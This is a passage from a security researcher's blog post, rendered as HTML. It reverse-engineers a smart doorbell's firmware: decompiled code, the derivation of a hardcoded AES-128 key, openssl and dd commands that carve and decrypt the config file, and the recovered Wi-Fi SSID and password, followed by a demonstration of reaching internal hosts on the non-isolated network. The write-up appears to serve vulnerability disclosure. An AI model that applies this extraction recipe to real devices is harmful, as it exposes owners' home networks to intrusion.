<span class="n">iVar2</span> <span class="o">=</span> <span class="n">FUN_0012f748</span><span class="p">(</span><span class="n">param_2</span><span class="p">,</span><span class="n">param_1</span><span class="p">,</span><span class="mh">0x80</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o"><</span> <span class="n">iVar2</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">iVar2</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">"set_encrypt_key fail </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">"KEY len err! %d "</span><span class="p">,</span><span class="n">sVar1</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>That 0x80 it’s a good clue that <code class="language-plaintext highlighter-rouge">FUN_0012f748</code> it’s gonna be AES-128 but just in case I copied the function content to ChatGPT and it confirmed my hypothesis:</p>
<blockquote>
<p>FUN_0012f748 creates an AES encryption key schedule from a supplied 128-, 192-, or 256-bit key: it validates the key size, records the corresponding number of AES rounds, copies the original key words, and expands them into all round keys using AES substitutions and round constants.</p>
</blockquote>
<p>Pulling more this thread I found the function in charge of build the key:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">FUN_0001e184</span><span class="p">(</span><span class="kt">int</span> <span class="n">param_1</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">size_t</span> <span class="n">sVar1</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">uVar2</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">pcVar3</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">pcVar4</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="o">*</span><span class="n">puVar5</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">local_4c</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="n">undefined1</span> <span class="n">local_c</span><span class="p">;</span>
<span class="n">puVar5</span> <span class="o">=</span> <span class="n">local_4c</span><span class="p">;</span>
<span class="n">local_c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">pcVar4</span> <span class="o">=</span> <span class="s">"abcdefghijklmnopqrstuvwxyz0123456789~_ABCDEFGHIJKLMNOPQRSTUVWXYZ"</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="n">pcVar3</span> <span class="o">=</span> <span class="n">pcVar4</span> <span class="o">+</span> <span class="mi">8</span><span class="p">;</span>
<span class="n">uVar2</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">pcVar4</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
<span class="o">*</span><span class="n">puVar5</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)</span><span class="n">pcVar4</span><span class="p">;</span>
<span class="n">puVar5</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">uVar2</span><span class="p">;</span>
<span class="n">puVar5</span> <span class="o">=</span> <span class="n">puVar5</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">pcVar4</span> <span class="o">=</span> <span class="n">pcVar3</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">pcVar3</span> <span class="o">!=</span> <span class="s">""</span><span class="p">);</span>
<span class="n">FUN_0001d17c</span><span class="p">(</span><span class="n">local_4c</span><span class="p">);</span>
<span class="n">pcVar4</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x540f</span><span class="p">);</span>
<span class="n">pcVar4</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">pcVar4</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">pcVar4</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="n">pcVar4</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5413</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)((</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x0</span> <span class="o">+</span> <span class="p">(</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x4</span><span class="p">)</span>
<span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5417</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)((</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x0</span> <span class="o">+</span> <span class="p">(</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x8</span><span class="p">)</span>
<span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x541b</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)((</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x0</span> <span class="o">+</span> <span class="p">(</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0xc</span><span class="p">)</span>
<span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x5418</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x541c</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)((</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x0</span> <span class="o">+</span> <span class="p">(</span><span class="n">undefined1</span> <span class="p">[</span><span class="mi">16</span><span class="p">])</span><span class="mh">0x4</span><span class="p">)</span>
<span class="p">;</span>
<span class="n">FUN_0001deb8</span><span class="p">(</span><span class="n">local_4c</span><span class="p">,</span><span class="n">pcVar4</span><span class="p">);</span>
<span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">pcVar4</span><span class="p">);</span>
<span class="n">FUN_0001a80c</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">"getKeyC(%d)"</span><span class="p">,</span><span class="n">sVar1</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The long string <strong>abc…XYZ</strong> (64 bytes) is passed to <code class="language-plaintext highlighter-rouge">FUN_0001d17c</code> which applies a classic XOR with a repeating group of three bytes (0x01, 0x04, 0x06).</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="o">*</span> <span class="nf">FUN_0001d17c</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_2</span><span class="p">,</span><span class="n">undefined4</span> <span class="n">param_3</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">size_t</span> <span class="n">sVar1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">extraout_r1</span><span class="p">;</span>
<span class="n">uint</span> <span class="n">uVar2</span><span class="p">;</span>
<span class="n">undefined3</span> <span class="n">local_14</span><span class="p">;</span>
<span class="n">undefined1</span> <span class="n">uStack_11</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">uStack_10</span><span class="p">;</span>
<span class="n">_local_14</span> <span class="o">=</span> <span class="n">CONCAT13</span><span class="p">((</span><span class="kt">char</span><span class="p">)((</span><span class="n">uint</span><span class="p">)</span><span class="n">param_2</span> <span class="o">>></span> <span class="mh">0x18</span><span class="p">),</span><span class="mh">0x60401</span><span class="p">);</span>
<span class="n">uStack_10</span> <span class="o">=</span> <span class="n">param_3</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="n">uVar2</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">param_1</span><span class="p">),</span> <span class="n">uVar2</span> <span class="o"><</span> <span class="n">sVar1</span><span class="p">;</span> <span class="n">uVar2</span> <span class="o">=</span> <span class="n">uVar2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">FUN_00213228</span><span class="p">(</span><span class="n">uVar2</span><span class="p">,</span><span class="mi">3</span><span class="p">);</span>
<span class="n">param_1</span><span class="p">[</span><span class="n">uVar2</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="kt">int</span><span class="p">)</span><span class="o">&</span><span class="n">local_14</span> <span class="o">+</span> <span class="n">extraout_r1</span><span class="p">)</span> <span class="o">^</span> <span class="n">param_1</span><span class="p">[</span><span class="n">uVar2</span><span class="p">];</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">param_1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Then the resulting 65-byte string (64 byte xored with pattern + 1 null byte) is passed to <code class="language-plaintext highlighter-rouge">FUN_0001deb8</code>, which we can infer is doing a MD5 hash based on the constants. Although it just returns 8 bytes (16 hex chars):</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">FUN_0001deb8</span><span class="p">(</span><span class="n">undefined4</span> <span class="n">param_1</span><span class="p">,</span><span class="kt">char</span> <span class="o">*</span><span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">byte</span> <span class="o">*</span><span class="n">pbVar1</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">__s</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">pcVar2</span><span class="p">;</span>
<span class="n">byte</span> <span class="n">abStack_80</span> <span class="p">[</span><span class="mi">16</span><span class="p">];</span>
<span class="n">undefined4</span> <span class="n">local_70</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">local_6c</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">local_68</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">uStack_64</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">local_60</span><span class="p">;</span>
<span class="n">undefined4</span> <span class="n">uStack_5c</span><span class="p">;</span>
<span class="n">local_70</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">local_68</span> <span class="o">=</span> <span class="mh">0x67452301</span><span class="p">;</span>
<span class="n">uStack_64</span> <span class="o">=</span> <span class="mh">0xefcdab89</span><span class="p">;</span>
<span class="n">local_6c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">local_60</span> <span class="o">=</span> <span class="mh">0x98badcfe</span><span class="p">;</span>
<span class="n">uStack_5c</span> <span class="o">=</span> <span class="mh">0x10325476</span><span class="p">;</span>
<span class="n">FUN_0001dda4</span><span class="p">(</span><span class="o">&</span><span class="n">local_70</span><span class="p">,</span><span class="n">param_1</span><span class="p">,</span><span class="mh">0x41</span><span class="p">);</span>
<span class="n">FUN_0001de4c</span><span class="p">(</span><span class="o">&</span><span class="n">local_70</span><span class="p">,</span><span class="n">abStack_80</span><span class="p">);</span>
<span class="n">pbVar1</span> <span class="o">=</span> <span class="n">abStack_80</span><span class="p">;</span>
<span class="n">__s</span> <span class="o">=</span> <span class="n">param_2</span><span class="p">;</span>
<span class="k">do</span> <span class="p">{</span>
<span class="n">pcVar2</span> <span class="o">=</span> <span class="n">__s</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">sprintf</span><span class="p">(</span><span class="n">__s</span><span class="p">,</span><span class="s">"%02X"</span><span class="p">,(</span><span class="n">uint</span><span class="p">)</span><span class="o">*</span><span class="n">pbVar1</span><span class="p">);</span>
<span class="n">pbVar1</span> <span class="o">=</span> <span class="n">pbVar1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">__s</span> <span class="o">=</span> <span class="n">pcVar2</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">pcVar2</span> <span class="o">!=</span> <span class="n">param_2</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">);</span>
<span class="n">param_2</span><span class="p">[</span><span class="mh">0x10</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This gives us the string used as key to encrypt/decrypt the configutation file: <code class="language-plaintext highlighter-rouge">C0C714B43806EF49</code> => <code class="language-plaintext highlighter-rouge">43304337313442343338303645463439</code>. It’s derived from hardcoded data, so it should be the same between devices.</p>
<p>The encrypted file (called <code class="language-plaintext highlighter-rouge">es_config</code>) was in my case the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">=></span> <span class="n">xxd</span> <span class="n">es_config</span>
<span class="mo">00000000</span><span class="o">:</span> <span class="n">b000</span> <span class="n">b622</span> <span class="mi">0971</span> <span class="n">cee1</span> <span class="n">c1b5</span> <span class="mi">0</span><span class="n">ecc</span> <span class="n">d749</span> <span class="mf">4e58</span> <span class="p">...</span><span class="s">".q.......INX</span><span class="err">
</span><span class="s">00000010: e11d 1f8d 6769 ed50 9f19 fb1e eaf7 c33b ....gi.P.......;</span><span class="err">
</span><span class="s">00000020: 5463 9269 fdde 70cc bf18 71a0 19df c33a Tc.i..p...q....:</span><span class="err">
</span><span class="s">00000030: ed48 6c31 061a efa9 68de c7e2 eb93 b00a .Hl1....h.......</span><span class="err">
</span><span class="s">00000040: 39be 83ce ecf6 0158 6717 4a08 a8eb 249e 9......Xg.J...$.</span><span class="err">
</span><span class="s">00000050: 33af 83ce ecf6 0158 6717 4a08 a8eb 249e 3......Xg.J...$.</span><span class="err">
</span><span class="s">00000060: 33af 22e3 f819 b5f1 e581 a605 83ff e623 3."</span><span class="p">............</span><span class="err">#</span>
<span class="mo">00000070</span><span class="o">:</span> <span class="mi">6</span><span class="n">a1a</span> <span class="mi">45</span><span class="n">ee</span> <span class="mi">48</span><span class="n">c1</span> <span class="n">e43a</span> <span class="mi">1719</span> <span class="mi">1</span><span class="n">c24</span> <span class="mi">8</span><span class="n">bf9</span> <span class="mo">0657</span> <span class="n">j</span><span class="p">.</span><span class="n">E</span><span class="p">.</span><span class="n">H</span><span class="p">..</span><span class="o">:</span><span class="p">...</span><span class="err">$</span><span class="p">...</span><span class="n">W</span>
<span class="mo">000000</span><span class="mi">80</span><span class="o">:</span> <span class="mi">611</span><span class="n">b</span> <span class="mi">952</span><span class="n">e</span> <span class="mi">365</span><span class="n">a</span> <span class="mi">740</span><span class="n">a</span> <span class="mi">6</span><span class="n">f0e</span> <span class="mi">3692</span> <span class="mi">39</span><span class="n">b8</span> <span class="mi">2490</span> <span class="n">a</span><span class="p">...</span><span class="mi">6</span><span class="n">Zt</span><span class="p">.</span><span class="n">o</span><span class="p">.</span><span class="mi">6</span><span class="p">.</span><span class="mi">9</span><span class="p">.</span><span class="err">$</span><span class="p">.</span>
<span class="mo">000000</span><span class="mi">90</span><span class="o">:</span> <span class="mi">516</span><span class="n">a</span> <span class="mi">83</span><span class="n">ce</span> <span class="n">ecf6</span> <span class="mo">015</span><span class="mi">8</span> <span class="mi">6717</span> <span class="mi">4</span><span class="n">a08</span> <span class="n">a8eb</span> <span class="mi">249</span><span class="n">e</span> <span class="n">Qj</span><span class="p">.....</span><span class="n">Xg</span><span class="p">.</span><span class="n">J</span><span class="p">...</span><span class="err">$</span><span class="p">.</span>
<span class="mo">000000</span><span class="n">a0</span><span class="o">:</span> <span class="mi">33</span><span class="n">af</span> <span class="mi">83</span><span class="n">ce</span> <span class="n">ecf6</span> <span class="mo">015</span><span class="mi">8</span> <span class="mi">6717</span> <span class="mi">4</span><span class="n">a08</span> <span class="n">a8eb</span> <span class="mi">249</span><span class="n">e</span> <span class="mi">3</span><span class="p">......</span><span class="n">Xg</span><span class="p">.</span><span class="n">J</span><span class="p">...</span><span class="err">$</span><span class="p">.</span>
<span class="mo">000000</span><span class="n">b0</span><span class="o">:</span> <span class="mi">33</span><span class="n">af</span> <span class="mi">3</span><span class="p">.</span>
</code></pre></div></div>
<p>And after decrypting it we can see our OCEAN_XXXXXX SSID and its password:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">=></span> <span class="n">tail</span> <span class="o">-</span><span class="n">c</span> <span class="o">+</span><span class="mi">3</span> <span class="n">es_config</span> <span class="o">|</span> <span class="n">openssl</span> <span class="n">enc</span> <span class="o">-</span><span class="n">aes</span><span class="o">-</span><span class="mi">128</span><span class="o">-</span><span class="n">ecb</span> <span class="o">-</span><span class="n">d</span> <span class="o">-</span><span class="n">nopad</span> <span class="o">-</span><span class="n">K</span> <span class="mi">43304337313442343338303645463439</span> <span class="o">|</span><span class="n">xxd</span>
<span class="mo">00000000</span><span class="o">:</span> <span class="mi">5354</span> <span class="mi">5344</span> <span class="mi">4</span><span class="n">b00</span> <span class="mo">0000</span> <span class="mo">0100</span> <span class="mi">4</span><span class="n">f43</span> <span class="mi">4541</span> <span class="mf">4e5</span><span class="n">f</span> <span class="n">STSDK</span><span class="p">.....</span><span class="n">OCEAN_</span>
<span class="mo">00000010</span><span class="o">:</span> <span class="mi">4539</span> <span class="mi">4135</span> <span class="mi">4643</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="n">E9A5FC</span><span class="p">..........</span>
<span class="mo">00000020</span><span class="o">:</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mi">4631</span> <span class="mi">5653</span> <span class="mi">5866</span> <span class="p">..........</span><span class="n">F1VSXf</span>
<span class="mo">00000030</span><span class="o">:</span> <span class="mf">4e51</span> <span class="mi">4</span><span class="n">c5f</span> <span class="mi">5</span><span class="n">a43</span> <span class="mi">6433</span> <span class="mi">6</span><span class="n">b00</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="n">NQL_ZCd3k</span><span class="p">.......</span>
<span class="mo">00000040</span><span class="o">:</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="p">................</span>
<span class="mo">00000050</span><span class="o">:</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="p">................</span>
<span class="mo">00000060</span><span class="o">:</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="n">c0a8</span> <span class="mi">2005</span> <span class="mo">0000</span> <span class="p">............</span> <span class="p">...</span>
<span class="mo">00000070</span><span class="o">:</span> <span class="mo">0001</span> <span class="mo">0203</span> <span class="mo">0405</span> <span class="mo">0607</span> <span class="mi">0809</span> <span class="mi">0</span><span class="n">a0b</span> <span class="mi">0</span><span class="n">c0d</span> <span class="mf">0e0</span><span class="n">f</span> <span class="p">................</span>
<span class="mo">000000</span><span class="mi">80</span><span class="o">:</span> <span class="mo">0000</span> <span class="mo">0004</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="p">................</span>
<span class="mo">000000</span><span class="mi">90</span><span class="o">:</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="p">................</span>
<span class="mo">000000</span><span class="n">a0</span><span class="o">:</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="mo">0000</span> <span class="p">................</span>
</code></pre></div></div>
<p>Instead of carving and extracting all the files in the firmware, once I identified the existence of this <code class="language-plaintext highlighter-rouge">es_config</code> encrypted file I “semi” automatized its extraction. First we extract the mtdparts variables used by U-Boot from the flash dump:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=> firmware_doorbell.bin|grep mtdparts
Imtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
mtdparts
mtdparts=
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
loglevel=0 rootfstype=erofs rootflags=dax console=ttyFIQ0 root=/dev/rd0 snd_soc_core.prealloc_buffer_size_kbytes=16 coherent_pool=0 driver_async_probe=dwmmc_rockchip rk_dma_heap_cma=22M mtdparts=sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)
</code></pre></div></div>
<p>Then we copy the content after “=” and use this one-liner to extract the filesystem into <code class="language-plaintext highlighter-rouge">/tmp/user.bin</code>:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">=></span> <span class="nv">mtdparts</span><span class="o">=</span><span class="s1">'sfc_nor:64K(env),256K@64K(idblock),256K(uboot),64K(misc),6528K(boot),3584K(recovery),384K(meta),2048K(system),512K(config),2560K(user),64K@16256K(nv_user),64K(nv_factory)'</span><span class="p">;</span> <span class="nv">part</span><span class="o">=</span>user<span class="p">;</span> <span class="nb">eval</span> <span class="si">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$mtdparts</span><span class="s2">"</span> | <span class="nb">awk</span> <span class="nt">-v</span> <span class="nv">p</span><span class="o">=</span><span class="s2">"</span><span class="nv">$part</span><span class="s2">"</span> <span class="s1">'function cv(x){if(x~/K$/)return substr(x,1,length(x)-1)*1024;if(x~/M$/)return substr(x,1,length(x)-1)*1048576;if(x~/G$/)return substr(x,1,length(x)-1)*1073741824;return x}{split($0,a,":");n=split(a[2],b,",");o=0;for(i=1;i<=n;i++){split(b[i],c,"[()]");split(c[1],d,"@");s=cv(d[1]);if(d[2])o=cv(d[2]);if(c[2]==p){print "skip="o" count="s;exit}o+=s}}'</span><span class="si">)</span><span class="p">;</span> <span class="nb">dd </span><span class="k">if</span><span class="o">=</span>firmware_doorbell.bin <span class="nv">of</span><span class="o">=</span>/tmp/<span class="nv">$part</span>.bin <span class="nv">bs</span><span class="o">=</span>1 <span class="nv">skip</span><span class="o">=</span><span class="nv">$skip</span> <span class="nv">count</span><span class="o">=</span><span class="nv">$count</span>
<span class="o">=></span> file /tmp/user.bin
/tmp/user.bin: Linux jffs2 filesystem data little endian
</code></pre></div></div>
<p>Finaly just use <code class="language-plaintext highlighter-rouge">jffs2reader</code> to extract the config file (and decrypt it).</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">=></span> jffs2reader /tmp/user.bin <span class="nt">-f</span> /es_config | <span class="nb">tail</span> <span class="nt">-c</span> +3 | openssl enc <span class="nt">-aes-128-ecb</span> <span class="nt">-d</span> <span class="nt">-nopad</span> <span class="nt">-K</span> 43304337313442343338303645463439 |xxd
00000000: 5354 5344 4b00 0000 0100 4f43 4541 4e5f STSDK.....OCEAN_
00000010: 4539 4135 4643 0000 0000 0000 0000 0000 E9A5FC..........
00000020: 0000 0000 0000 0000 0000 4631 5653 5866 ..........F1VSXf
00000030: 4e51 4c5f 5a43 6433 6b00 0000 0000 0000 NQL_ZCd3k.......
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 c0a8 2005 0000 ............ ...
00000070: 4242 4242 3346 3138 3746 3343 3631 3537 BBBB3F187F3C6157
00000080: 0000 0006 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0100 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
</code></pre></div></div>
<p>If someone has access to a doorbell, and nothing alerted the owner because it was jammed as we shown before, in 5 minutes can manipulate it to dump its flash memory and extract the hidden network credentials. Or well, just steal it and dump it at home. As I explained at the begining of this journey, the homebase network is <strong>not isolated</strong>. If you connect to this wifi you can browser internet using the home network and also you can reach other devices (like the router) in the home network:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=> iwconfig
lo no wireless extensions.
eno1 no wireless extensions.
wlp1s0 IEEE 802.11 ESSID:"OCEAN_E9A5FC"
Mode:Managed Frequency:2.437 GHz Access Point: 90:BF:D9:E9:A5:FC
Bit Rate=130 Mb/s Tx-Power=22 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Link Quality=67/70 Signal level=-43 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
virbr0 no wireless extensions.
tailscale0 no wireless extensions.
docker0 no wireless extensions.
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>3: wlp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 18:26:49:11:82:9e brd ff:ff:ff:ff:ff:ff
inet 192.168.32.100/24 brd 192.168.32.255 scope global dynamic noprefixroute wlp1s0
valid_lft 86368sec preferred_lft 86368sec
inet6 fe80::8339:84a3:5f01:ad64/64 scope link noprefixroute
valid_lft forever preferred_lft forever
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=> ping google.es
PING google.es (216.58.204.195) 56(84) bytes of data.
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=1 ttl=117 time=37.7 ms
64 bytes from lcmadb-ah-in-f3.1e100.net (216.58.204.195): icmp_seq=2 ttl=117 time=42.5 ms
^C
--- google.es ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 37.683/40.087/42.492/2.404 ms
</code></pre></div></div>
<p>Some testing devices/platforms I could reach that are deployed at the same router than the Homebase:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=> curl -I 192.168.90.1
HTTP/1.1 200 OK
Connection: Keep-Alive
Keep-Alive: timeout=20
ETag: "18c-1ef-5687f92e"
Last-Modified: Sat, 02 Jan 2016 16:22:06 GMT
Date: Tue, 28 Jul 2026 20:13:45 GMT
Content-Type: text/html
Content-Length: 495
=> curl -I 192.168.51.151
HTTP/1.1 302 Found
Server: nginx
